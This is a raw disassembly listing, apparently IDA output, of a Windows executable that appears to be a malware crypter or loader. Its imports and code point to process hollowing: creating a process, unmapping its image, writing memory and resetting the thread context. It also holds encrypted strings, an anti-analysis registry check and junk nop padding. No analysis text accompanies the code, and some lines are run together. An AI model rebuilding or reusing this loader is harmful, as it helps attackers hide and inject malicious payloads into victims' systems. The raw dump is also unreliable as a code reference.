mov edx, ds:off_406108
mov [edx], eax
lea ecx, [ebp-6Ch]
mov edx, ds:dword_4077F8
mov eax, offset dword_405270
call sub_4042A4
mov eax, [ebp-6Ch]
call sub_4036DC
push eax
push ebx
mov eax, [esi]
call eax
mov edx, ds:off_4060C4
mov [edx], eax
lea ecx, [ebp-70h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405284
call sub_4042A4
mov eax, [ebp-70h]
call sub_4036DC
push eax
mov eax, ds:dword_4077EC
push eax
mov eax, [esi]
call eax
mov edx, ds:off_4060E4
mov [edx], eax
lea ecx, [ebp-74h]
mov edx, ds:dword_4077F8
mov eax, offset dword_405298
call sub_4042A4
mov eax, [ebp-74h]
call sub_4036DC
mov edx, eax
mov eax, offset dword_4077FC
call sub_403638
lea ecx, [ebp-78h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4052A4
call sub_4042A4
mov eax, [ebp-78h]
call sub_4036DC
mov edx, eax
mov eax, offset dword_407800
call sub_403638
lea ecx, [ebp-7Ch]
mov edx, ds:dword_4077F8
mov eax, offset dword_4052B0
call sub_4042A4
mov eax, [ebp-7Ch]
call sub_4036DC
mov edx, eax
mov eax, offset dword_407840
call sub_403638
lea ecx, [ebp-80h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4052C4
call sub_4042A4
mov eax, [ebp-80h]
call sub_4036DC
mov edx, eax
mov eax, offset dword_407844
call sub_403638
lea ecx, [ebp-84h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4052D4
call sub_4042A4
mov eax, [ebp-84h]
call sub_4036DC
mov edx, eax
mov eax, offset dword_407848
call sub_403638
lea ecx, [ebp-88h]
mov edx, ds:dword_4077F8
mov eax, offset dword_4052E4
call sub_4042A4
mov eax, [ebp-88h]
call sub_4036DC
mov edx, eax
mov eax, offset dword_40784C
call sub_403638
push ebx
mov eax, ds:off_4060C8
mov eax, [eax]
call eax
mov eax, ds:dword_4077EC
push eax
mov eax, ds:off_4060C8
mov eax, [eax]
call eax
mov eax, ds:dword_4077E8
push eax
mov eax, ds:off_4060C8
mov eax, [eax]
call eax
push 0D34DC0D9h
push 0
push 1
mov eax, ds:off_4060C4
mov eax, [eax]
call eax
test eax, eax
jz short loc_404C51
xor eax, eax
call sub_403500
; ---------------------------------------------------------------------------
mov ds:byte_4077F0, 1
loc_404C51: ; CODE XREF: CODE:00404C41j
push offset dword_4077F4
mov eax, ds:dword_407840
call sub_4036DC
push eax
push 80000001h
mov eax, ds:off_4060E4
mov eax, [eax]
call eax
not eax
cmp eax, ds:dword_407808
jnz short loc_404C87
xor eax, eax
call sub_403500
; ---------------------------------------------------------------------------
mov ds:byte_4077F0, 1
loc_404C87: ; CODE XREF: CODE:00404C77j
cmp ds:byte_4077F0, 1
jnz short loc_404CFE
cmp ds:byte_4077F0, 1
jnz short loc_404CFE
loc_404C99: ; CODE XREF: CODE:00404CFCj
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, 5
loc_404CC0: ; CODE XREF: CODE:00404CD1j
mov eax, offset dword_40780C
mov edx, ds:dword_40783C
call sub_40356C
dec ebx
jnz short loc_404CC0
xor eax, eax
call sub_403500
; ---------------------------------------------------------------------------
push 0
call sub_403D48 ; ExitProcess
mov edx, 0FFFFCFA9h
mov eax, 0FFFF2BECh
call sub_4044C0
mov ds:dword_407804, eax
cmp ds:byte_4077F0, 1
jz short loc_404C99
loc_404CFE: ; CODE XREF: CODE:00404C8Ej
; CODE:00404C97j
xor eax, eax
mov ds:dword_4077DC, eax
xor esi, esi
mov ebx, 1
mov eax, ds:dword_4077FC
call sub_4036DC
mov edx, eax
mov eax, offset dword_4076D4
call sub_403D98
mov ds:dword_4076D0, eax
mov edx, offset byte_4076D8
mov eax, ds:dword_4076D0
mov ecx, ds:dword_4076D4
call sub_4028E0
mov eax, ds:dword_407800
call sub_4036DC
mov edx, eax
mov eax, offset dword_4077DC
call sub_403D98
mov ds:dword_4077E4, eax
mov eax, offset dword_4076CC
mov edx, ds:dword_4077DC
call sub_403734
mov eax, offset dword_4076CC
call sub_40372C
lea eax, [eax+ebx-1]
push eax
mov eax, ds:dword_4076CC
call sub_403680
mov ecx, eax
mov eax, ds:dword_4077E4
pop edx
call sub_4028E0
cmp ds:dword_407804, 5
jle loc_404E1A
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, offset dword_4077E0
mov edx, offset aLod85fafJRi ; "<lOD85FAf)#j]{ri"
mov ecx, 100h
call sub_403668
lea edx, [ebp-8Ch]
mov eax, ds:dword_4077E0
call sub_4044E0
mov edx, [ebp-8Ch]
mov eax, offset dword_4077E0
call sub_40356C
lea ecx, [ebp-90h]
mov edx, ds:dword_4077E0
mov eax, ds:dword_4076CC
call sub_4042A4
mov edx, [ebp-90h]
mov eax, offset dword_4076CC
call sub_40356C
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
loc_404E1A: ; CODE XREF: CODE:00404D94j
mov eax, ds:dword_4076CC
call sub_403680
call sub_4027CC
mov ds:dword_4077E4, eax
mov eax, offset dword_4076CC
call sub_40372C
lea eax, [eax+ebx-1]
push eax
mov eax, ds:dword_4076CC
call sub_403680
mov ecx, eax
mov edx, ds:dword_4077E4
pop eax
call sub_4028E0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp-94h]
mov eax, esi
call sub_402A84
mov edx, [ebp-94h]
mov eax, ds:dword_4077E4
call sub_403E54
test al, al
jz short loc_404E8F
mov eax, ds:dword_4077E4
call sub_4027FC
loc_404E8F: ; CODE XREF: CODE:00404E83j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_404EC4
loc_404E9C: ; CODE XREF: CODE:00404EC2j
lea eax, [ebp-94h]
mov edx, 1Fh
call sub_40353C
lea eax, [ebp-18h]
call sub_4037C8
lea eax, [ebp-14h]
call sub_403518
retn
; ---------------------------------------------------------------------------
loc_404EBD: ; DATA XREF: CODE:00404619o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_404E9C
; ---------------------------------------------------------------------------
loc_404EC4: ; CODE XREF: CODE:00404EBCj
; DATA XREF: CODE:00404E97o
pop esi
pop ebx
call sub_403420
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 0Bh
aLopakote124 db 'lopakote124',0 ; DATA XREF: CODE:0040466Co
dd 0FFFFFFFFh, 0Ah
aVibapida36 db 'vibapida36',0 ; DATA XREF: CODE:0040467Bo
align 4
dd 0FFFFFFFFh, 0Ah
aYorawapa87 db 'yorawapa87',0 ; DATA XREF: CODE:0040468Ao
align 4
dd 0FFFFFFFFh, 0Ah
aTivoriso84 db 'tivoriso84',0 ; DATA XREF: CODE:00404699o
align 4
dd 0FFFFFFFFh, 0Ah
aNoyetavo43 db 'noyetavo43',0 ; DATA XREF: CODE:004046A8o
align 10h
dd 0FFFFFFFFh, 0Bh
aMoboyaja108 db 'moboyaja108',0 ; DATA XREF: CODE:004046B7o
dd 0FFFFFFFFh, 0Ah
aFofigaba70 db 'fofigaba70',0 ; DATA XREF: CODE:004046C6o
align 4
dd 0FFFFFFFFh, 0Ah
aPecipowe36 db 'pecipowe36',0 ; DATA XREF: CODE:004046D5o
align 4
dd 0FFFFFFFFh, 0Bh
aSasapero105 db 'sasapero105',0 ; DATA XREF: CODE:004046E4o
dd 0FFFFFFFFh, 0Ah
aWohepodo79 db 'wohepodo79',0 ; DATA XREF: CODE:004046F3o
align 4
dd 0FFFFFFFFh, 0Ah
aHakifoxi63 db 'hakifoxi63',0 ; DATA XREF: CODE:00404702o
align 4
dd 0FFFFFFFFh, 0Ah
aWonexifi78 db 'wonexifi78',0 ; DATA XREF: CODE:00404711o
align 4
dd 0FFFFFFFFh, 0Ah
aBelogoki68 db 'belogoki68',0 ; DATA XREF: CODE:00404720o
align 10h
dd 0FFFFFFFFh, 7Ah
a00000010000000 db '00000010000000000000000020000000000000000000000000000000000000000'
; DATA XREF: CODE:0040472Fo
db '000000000000000000000000000000000000000000000000000000000',0
align 4
dd 0FFFFFFFFh, 10h
aQnkomxlZe78 db '|[}QnkomxL%ZE]78',0 ; DATA XREF: CODE:00404759o
align 10h
dd 0FFFFFFFFh, 0Eh
dword_405078 dd 6BAF5799h, 78A654B4h, 47A270B9h, 6AA2h, 0FFFFFFFFh
; DATA XREF: CODE:0040476Co
dd 0Ch
dword_405090 dd 55A957B5h, 9F657A3h, 4EBA73F1h, 0 ; CODE:004047BDo
dd 0FFFFFFFFh, 9
dword_4050A8 dd 57BF46B0h, 54A115AAh, 0B0h, 0FFFFFFFFh, 0Chdword_4050BC dd 5AAD56BFh, 9F652B6h, 4EBA73F1h, 0 dd 0FFFFFFFFh, 14h
aDeoulzFIaDk@Md db 'EUZf{aD@MA',0 ; DATA XREF: CODE:0040482Co
align 4
dd 0FFFFFFFFh, 0Dh
dword_4050F4 dd 5FB55B98h, 55B65E94h, 47B264ADh, 91h, 0FFFFFFFFh, 0Ch
; DATA XREF: CODE:0040485Ao
dword_40510C dd 5FBA5D92h, 54B65E94h, 47B565AAh, 0 dd 0FFFFFFFFh, 0Ch
dword_405124 dd 50B85D92h, 54B65E94h, 47B565AAh, 0 dd 0FFFFFFFFh, 0Ch
dword_40513C dd 5EBE4098h, 54B65E94h, 47B565AAh, 0 dd 0FFFFFFFFh, 0Eh
dword_405154 dd 5EA15B8Dh, 5C975DA9h, 50A57BAEh, 7CB2h, 0FFFFFFFFh
; DATA XREF: CODE:004048FEo
dd 0Bh
dword_40516C dd 5EBE4098h, 4AA7528Ah, 0AC66BDh, 0FFFFFFFFh, 0Eh
; DATA XREF: CODE:00404927o
dword_405180 dd 4FA95B88h, 78A95AB3h, 41BF78B1h, 6194h, 0FFFFFFFFh
; DATA XREF: CODE:00404950o
dd 10h
aIIoZiZqkkCkz db '[OZ`qKcZ',0 ; DATA XREF: CODE:00404979o
align 4
dd 0FFFFFFFFh, 12h
aI@Ogk_NRrvlY db '@Ok_{]rLY',0 ; DATA XREF: CODE:004049A2o
align 4
dd 0FFFFFFFFh, 11h
aMw_ciksMncZap db 'W_ISmczP',0 ; DATA XREF: CODE:004049CBo
align 4
dd 0FFFFFFFFh, 10h
aSwpooiaq@ircv db 'WoIQ]@rV',0 ; DATA XREF: CODE:004049F4o
align 10h
dd 0FFFFFFFFh, 10h
aNwpooiaq@ircv db 'WoIQ]@rV',0 ; DATA XREF: CODE:00404A1Do
align 4
dd 0FFFFFFFFh, 0Eh
dword_405224 dd 5ABE409Dh, 4B955EB2h, 51B577B2h, 58A2h, 0FFFFFFFFh
; DATA XREF: CODE:00404A46o
dd 0Ch
dword_40523C dd 4EA8578Ch, 53915EABh, 46B772ADh, 0 dd 0FFFFFFFFh, 10h
aKwivpuddNmaRQ db 'WVUDNArQ',0 ; DATA XREF: CODE:00404A98o
align 4
dd 0FFFFFFFFh, 0Bh
dword_405270 dd 55BE4291h, 5BAA4996h, 0A667B9h, 0FFFFFFFFh, 0Bh
; DATA XREF: CODE:00404AC1o
dword_405284 dd 74BC578Ch, 73AB5EB6h, 946DB9h, 0FFFFFFFFh, 1dword_405298 dd 8Ch, 0FFFFFFFFh, 1dword_4052A4 dd 99h, 0FFFFFFFFh, 8dword_4052B0 dd 4FBD5D8Dh, 5DB75AB1h, 0 dd 0FFFFFFFFh, 4
dword_4052C4 dd 51BE42B1h, 0 dd 0FFFFFFFFh, 7
dword_4052D4 dd 11AF57B0h, 0A745A4h, 0FFFFFFFFh, 12hdword_4052E4 dd 5AAF41FEh, 58B64FB4h, 4ABB6CB4h, 468C74BCh, 53BDh
; DATA XREF: CODE:00404BE4o
dd 42h dup(?)
CODE ends
; Section 2. (virtual address 00006000)
; Virtual size : 00000110 ( 272.)
; Section size in file : 00000110 ( 272.)
; Offset to raw data for section: 00006000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
DATA segment para public 'DATA' use32
assume cs:DATA
;org 406000h
dword_406000 dd 0 ; sub_403364+2w ...
dword_406004 dd 0 ; sub_403308+37r ...
dword_406008 dd 33DC589Ch ; sub_402B6C+Ew
byte_40600C db 2 ; DATA XREF: sub_403AE4+Dw
db 8Dh, 40h, 0
word_406010 dw 1332h ; DATA XREF: sub_402C94+6r
; sub_402C94:loc_402D0Cr ...
dw 0C08Bh
byte_406014 db 0 ; DATA XREF: sub_402D70r sub_402D8Cr ...
db 8Dh, 40h, 0
byte_406018 db 0 ; DATA XREF: sub_4031E8-336r
; sub_4031E8:loc_402EEDr
db 8Dh, 40h, 0
byte_40601C db 0 ; DATA XREF: sub_403394:loc_4033F5r
db 8Dh, 40h, 0
dword_406020 dd 0 dword_406024 dd 0 off_406028 dd offset sub_402178 ; DATA XREF: sub_4027CC+Ar
; sub_40281C+3Fr
off_40602C dd offset sub_402324 ; DATA XREF: sub_4027FC+5r
; sub_40281C+26r
off_406030 dd offset sub_402700 ; DATA XREF: sub_40281C+Dr
byte_406034 db 0 ; DATA XREF: sub_402878+36r
aRsu db '',0
aFxn@ db '@',0
aError db 'Error',0 ; DATA XREF: sub_403394+6Co
dw 0C08Bh
aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_403308+3o
; sub_403394+32o ...
dw 0C08Bh
byte_406078 db 30h ; DATA XREF: sub_403308+41r
db 31h, 32h, 33h
dd 37363534h, 42413938h, 46454443h
TlsIndex dd 0 ; DATA XREF: sub_403BF8+Dr
; sub_403BF8+40r ...
dword_40608C dd 0 ; sub_403C94+33o ...
dword_406090 dd 400000h dword_406094 dd 0 dword_406098 dd 0 dd 2 dup(0)
dword_4060A4 dd 1 dd 10h, 2, 20h, 4, 40h, 4, 40h
off_4060C4 dd offset dword_4076A8 ; DATA XREF: CODE:00404AD9r
; CODE:00404C36r
off_4060C8 dd offset dword_40767C ; DATA XREF: CODE:0040493Fr
; CODE:00404C06r ...
off_4060CC dd offset dword_407664 ; DATA XREF: CODE:00404872r
off_4060D0 dd offset dword_40769C ; DATA XREF: sub_403E54+2A5r
; CODE:00404A87r
off_4060D4 dd offset dword_407678 ; DATA XREF: sub_403E54+170r
; sub_403E54+1D2r ...
off_4060D8 dd offset dword_407688 ; DATA XREF: sub_403E2C+2r
; CODE:00404849r
off_4060DC dd offset dword_407698 ; DATA XREF: sub_403E54+88r
; CODE:00404A5Er
off_4060E0 dd offset dword_407690 ; DATA XREF: sub_403E54+C0r
; CODE:00404A0Cr
off_4060E4 dd offset dword_4076AC ; DATA XREF: CODE:00404B07r
; CODE:00404C66r
off_4060E8 dd offset dword_407680 ; DATA XREF: sub_403E54+146r
; CODE:00404968r
off_4060EC dd offset dword_40766C ; DATA XREF: CODE:0040489Br
off_4060F0 dd offset dword_407670 ; DATA XREF: CODE:004048C4r
off_4060F4 dd offset dword_407668 ; DATA XREF: CODE:00404916r
off_4060F8 dd offset dword_407684 ; DATA XREF: sub_403E54+207r
; CODE:00404991r
off_4060FC dd offset dword_40768C ; DATA XREF: sub_403E54+F8r
; CODE:004049E3r
off_406100 dd offset dword_407674 ; DATA XREF: CODE:004048EDr
off_406104 dd offset dword_4076A4 ; DATA XREF: CODE:00404610r
off_406108 dd offset dword_4076A0 ; DATA XREF: sub_403E54+296r
; CODE:00404AB0r
off_40610C dd offset dword_407694 ; DATA XREF: sub_403E54+269r
; CODE:00404A35r
align 100h
DATA ends
; Section 3. (virtual address 00007000)
; Virtual size : 00000851 ( 2129.)
; Section size in file : 00000851 ( 2129.)
; Offset to raw data for section: 00007000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
BSS segment para public '' use32
assume cs:BSS
;org 407000h
assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing
off_407000 dd offset sub_403924 ; DATA XREF: sub_403AE4+2Fw
dword_407004 dd 0 dword_407008 dd 0 ; sub_402878+16r
dword_40700C dd 0 ; CODE:00403158r
off_407010 dd offset sub_401008 ; DATA XREF: sub_402D70+14r
; sub_402D8C+16r ...
off_407014 dd offset sub_401010 ; DATA XREF: sub_4031E8-2B6r
; CODE:00403140r ...
dword_407018 dd 0 ; sub_403420+B7r
dword_40701C dd 400000h dword_407020 dd 300h byte_407024 db 0 ; DATA XREF: sub_4032C8+33w
align 4
dword_407028 dd 0Ah dword_40702C dd 142340h dword_407030 dd 0 byte_407034 db 0 ; DATA XREF: sub_403394+1r
byte_407035 db 0 ; DATA XREF: sub_40191C+1Cr
; sub_40191C:loc_4019D0r ...
byte_407036 db 2 ; DATA XREF: sub_403AE4+28w
align 4
dword_407038 dd 0 ; sub_403A90+19o
word_40703C dw 0D7B0h ; DATA XREF: sub_403AE4+4Cw
align 10h
dd 71h dup(0)
dword_407204 dd 0 ; sub_403A90+23o
word_407208 dw 0D7B0h ; DATA XREF: sub_403394+Ar
; sub_403AE4+55w
align 10h
dword_407210 dd 0 align 10h
dword_407220 dd 0 dd 6Bh dup(0)
dword_4073D0 dd 0 word_4073D4 dw 0D7B0h ; DATA XREF: sub_403AE4+5Ew
align 4
dd 71h dup(0)
dword_40759C dd 16h ; sub_402030+C3w ...
dword_4075A0 dd 16420h ; sub_402030+CCw ...
dword_4075A4 dd 0 ; sub_403AE4w
dword_4075A8 dd 3 ; sub_403AE4+9Cw ...
byte_4075AC db 0 ; DATA XREF: sub_40191C+A0w
; sub_40191C:loc_4019EBr ...
align 10h
dword_4075B0 dd 0 ; sub_4015E0+99w ...
dword_4075B4 dd 6 dup(0) ; sub_40191C+25o ...
dword_4075CC dd 0 ; sub_401114+3Cw ...
dword_4075D0 dd 146654h ; sub_4011FC+22r ...
off_4075D4 dd offset off_4075D4 ; DATA XREF: sub_40137C+3Eo
; sub_4013E0+51o ...
dd offset off_4075D4
dd 2 dup(0)
off_4075E4 dd offset off_4075E4 ; DATA XREF: sub_40169C+Do
; sub_401744+12o ...
dd offset off_4075E4
dd 2 dup(0)
dword_4075F4 dd 8718F4h dword_4075F8 dd 8701E0h align 10h
dword_407600 dd 8701E0h ; sub_401AF4+4r ...
dword_407604 dd 1DECh dword_407608 dd 8CE210h ; sub_401EC0+2Er ...
dword_40760C dd 0 ; sub_40191C+5Er ...
off_407610 dd offset off_407610 ; DATA XREF: sub_40191C+43o
; sub_4019F4+90o ...
dd offset off_407610
align 10h
dword_407620 dd 0 ; sub_403258+9o ...
dword_407624 dd 12FFB4h ; sub_4031C0+2r
off_407628 dd offset dword_40458C ; DATA XREF: sub_4032C8+14w
dword_40762C dd 0 off_407630 dd offset dword_40608C ; DATA XREF: sub_4032C8+20w
dd 6 dup(0)
byte_40764C db 0 ; DATA XREF: sub_403C48r
align 10h
dword_407650 dd 400000h ; sub_403C94+16r ...
dword_407654 dd 0 ; CODE:loc_403D08w
dword_407658 dd 0 dword_40765C dd 0 ; sub_403D40w
dword_407660 dd 0 ; sub_403D90w
dword_407664 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceA ; DATA:off_4060CCo
dword_407668 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResource ; DATA:off_4060F4o
dword_40766C dd 7C809FB5h ; resolved to->KERNEL32.LoadResource ; DATA:off_4060ECo
dword_407670 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; DATA:off_4060F0o
dword_407674 dd 7C8260C2h ; resolved to->KERNEL32.FreeResource ; DATA:off_406100o
dword_407678 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_40767C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_407680 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocExdword_407684 dd 7C801A5Dh ; resolved to->KERNEL32.VirtualProtectExdword_407688 dd 7C90E960h ; resolved to->NTDLL.ZwUnmapViewOfSectiondword_40768C dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_407690 dd 7C83970Dh ; resolved to->KERNEL32.GetThreadContextdword_407694 dd 7C862A69h ; resolved to->KERNEL32.SetThreadContextdword_407698 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_40769C dd 7C8328F7h ; resolved to->KERNEL32.ResumeThreaddword_4076A0 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_4076A4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_4076A8 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_4076AC dd 77DFC41Bh ; resolved to->ADVAPI32.RegOpenKeyAdword_4076B0 dd 0 ; sub_403E1Cw
dword_4076B4 dd 0 ; sub_404164w
dword_4076B8 dd 0 ; sub_40419Cw
dword_4076BC dd 0 ; sub_4041D4w
dword_4076C0 dd 0 ; sub_40420Cw
dword_4076C4 dd 0 ; sub_404244w
dword_4076C8 dd 0 ; sub_40429Cw
dword_4076CC dd 8B800Ch ; CODE:00404D67o ...
dword_4076D0 dd 4228A0h ; CODE:00404D2Cr
dword_4076D4 dd 103h ; CODE:00404D31r
byte_4076D8 db 3 dup(1) ; DATA XREF: CODE:00404D27o
aLod85fafJRi db '<lOD85FAf)#j]{ri',0 ; DATA XREF: CODE:00404DB3o
dd 3Ch dup(0)
dword_4077DC dd 16200h ; CODE:00404D48o ...
dword_4077E0 dd 887B10h ; CODE:00404DC8r ...
dword_4077E4 dd 89DD38h ; CODE:00404D82r ...
dword_4077E8 dd 7C900000h ; CODE:0040483Fr ...
dword_4077EC dd 77DD0000h ; CODE:00404AFDr ...
byte_4077F0 db 0 ; DATA XREF: CODE:00404C4Aw
; CODE:00404C80w ...
align 4
dword_4077F4 dd 40h dword_4077F8 dd 8701CCh ; CODE:00404766r ...
dword_4077FC dd 871604h ; CODE:00404D0Cr
dword_407800 dd 871624h ; CODE:00404D3Cr
dword_407804 dd 0CC61Fh ; CODE:0040464Cr ...
dword_407808 dd 0 ; CODE:00404C71r
dword_40780C dd 870144h ; CODE:0040472Ao ...
dword_407810 dd 870024h dword_407814 dd 87003Ch dword_407818 dd 870054h dword_40781C dd 87006Ch dword_407820 dd 870084h dword_407824 dd 87009Ch dword_407828 dd 8700B4h dword_40782C dd 8700CCh dword_407830 dd 8700E4h dword_407834 dd 8700FCh dword_407838 dd 870114h dword_40783C dd 87012Ch ; CODE:00404CC5r
dword_407840 dd 8716D0h ; CODE:00404C56r
dword_407844 dd 87173Ch dword_407848 dd 8717A4h dword_40784C dd 8718E0h align 200h
BSS ends
; Section 4. (virtual address 00008000)
; Virtual size : 000004A6 ( 1190.)
; Section size in file : 000004A6 ( 1190.)
; Offset to raw data for section: 00008000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata segment para public 'DATA' use32
assume cs:_idata
;org 408000h
dd 3 dup(0)
dd 8164h, 80A0h, 3 dup(0)
dd 8318h, 8100h, 3 dup(0)
dd 8350h, 8110h, 3 dup(0)
dd 8390h, 8120h, 3 dup(0)
dd 83C2h, 812Ch, 3 dup(0)
dd 840Eh, 8140h, 3 dup(0)
dd 844Ch, 8150h, 5 dup(0)
dword_4080A0 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_4080A4 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4080A8 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4080AC dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_4080B0 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_4080B4 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_4080B8 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4080BC dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_4080C0 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4080C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_4080C8 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_4080CC dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_4080D0 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_4080D4 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4080D8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4080DC dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4080E0 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_4080E4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_4080E8 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_4080EC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4080F0 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4080F4 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_4080F8 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle align 10h
dword_408100 dd 7E43119Bh ; resolved to->USER32.GetKeyboardTypedword_408104 dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_408108 dd 7E42DF50h ; resolved to->USER32.CharNextA align 10h
dword_408110 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_408114 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_408118 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey align 10h
dword_408120 dd 77124880h dword_408124 dd 77124BA7h dd 0
dword_40812C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValuedword_408130 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_408134 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_408138 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA align 10h
dword_408140 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_408144 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_408148 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess align 10h
dword_408150 dd 7C9012D6h ; resolved to->NTDLL.RtlInitUnicodeStringdword_408154 dd 7C90125Ch ; resolved to->NTDLL.RtlInitStringdword_408158 dd 7C9161CAh ; resolved to->NTDLL.LdrLoadDlldword_40815C dd 7C919B88h ; resolved to->NTDLL.LdrGetProcedureAddress dd 0
aKernel32_dll db 'kernel32.dll',0
align 4
aDeletecritical db 'DeleteCriticalSection',0
align 4
aLeavecriticals db 'LeaveCriticalSection',0
align 4
aEntercriticals db 'EnterCriticalSection',0
align 4
aInitializecrit db 'InitializeCriticalSection',0
align 4
aVirtualfree db 'VirtualFree',0
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion db 'GetVersion',0
align 4
dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
dd 0
aMultibytetowid db 'MultiByteToWideChar',0
dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 53746547h
dd 74726174h, 6E497075h, 416F66h, 65470000h, 646F4D74h
dd 46656C75h, 4E656C69h, 41656D61h, 0
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 4
dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 65657246h
dd 7262694Ch, 797261h, 78450000h, 72507469h, 7365636Fh
dd 73h, 74697257h, 6C694665h, 65h, 61686E55h, 656C646Eh
dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 0
aRtlunwind db 'RtlUnwind',0
align 4
aRaiseexception db 'RaiseException',0
align 4
dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
dd 6C6Ch, 65470000h, 79654B74h, 72616F62h, 70795464h, 65h
dd 7373654Dh, 42656761h, 41786Fh, 68430000h, 654E7261h
dd 417478h, 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee db 'RegQueryValueExA',0
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0
align 4
aRegclosekey db 'RegCloseKey',0
aOleaut32_dll db 'oleaut32.dll',0
align 10h
aSysfreestring db 'SysFreeString',0
align 10h
aSysallocstring db 'SysAllocStringLen',0
aKernel32_dll_0 db 'kernel32.dll',0
align 10h
dd 6C540000h, 74655373h, 756C6156h, 65h, 47736C54h, 61567465h
dd 65756Ch, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetmodulehandl db 'GetModuleHandleA',0
align 2
aKernel32_dll_1 db 'kernel32.dll',0
align 4
dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6D6F4374h
dd 646E616Dh, 656E694Ch, 41h, 74697845h, 636F7250h, 737365h
dd 6C64746Eh, 6C642E6Ch, 6Ch, 496C7452h, 5574696Eh, 6F63696Eh
dd 74536564h, 676E6972h, 0
aRtlinitstring db 'RtlInitString',0
align 10h
aLdrloaddll db 'LdrLoadDll',0
align 4
dd 644C0000h, 74654772h, 636F7250h, 72756465h, 64644165h
dd 73736572h
align 200h
_idata ends
; Section 5. (virtual address 00009000)
; Virtual size : 00000008 ( 8.)
; Section size in file : 00000008 ( 8.)
; Offset to raw data for section: 00009000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
_tls segment para public '' use32
assume cs:_tls
;org 409000h
assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing
TlsStart dd 2 dup(0) ; DATA XREF: .rdata:TlsDirectoryo
